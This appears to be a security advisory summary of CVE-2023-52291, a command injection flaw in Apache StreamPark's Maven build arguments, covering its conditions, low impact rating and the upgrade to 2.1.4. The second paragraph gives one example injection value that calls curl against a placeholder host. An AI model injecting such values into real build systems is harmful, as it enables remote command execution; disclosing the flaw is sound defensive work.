CVE-2023-52291: 
Java vulnerability analysis and mitigation

Apache StreamPark (incubating), versions 2.0.0 before 2.1.4, contains a vulnerability in its project module that integrates Maven's compilation capabilities. The vulnerability was disclosed on July 17, 2024, and is tracked as CVE-2023-52291. The issue stems from insufficient input parameter validation in the Maven build parameters, which could potentially allow for remote command execution (OpenWall Mail, CVE Mitre).

The vulnerability specifically involves the Maven build arguments where the '<' operator can be exploited for command injection. For example, an attacker could inject commands such as '< (curl http://xxx.com)', which would be executed as a command injection. The vulnerability requires system-level permissions and user authentication to be exploited (OpenWall Mail).

The impact of this vulnerability is considered low due to several mitigating factors. The prerequisite for a successful attack requires the attacker to have login access to the StreamPark system with system-level permissions. Additionally, users with such access would typically not manually input dangerous operation commands (OpenWall Mail).

The vulnerability can be exploited through the Project module by inputting malicious commands as build arguments. An attacker would need to be authenticated with system-level permissions to exploit this vulnerability. The attack vector involves using the '<' operator in Maven build arguments to trigger command injection (OpenWall Mail).

Users are advised to upgrade to StreamPark version 2.1.4, which blocks the '<' operator and prevents this type of command injection. This upgrade serves as the primary mitigation strategy for addressing the vulnerability (OpenWall Mail).

The vulnerability was discovered and reported by thiscodecc of MoyunSec Vlab and Bing. The Apache Software Foundation has addressed this security issue by releasing a patched version (OpenWall Mail).
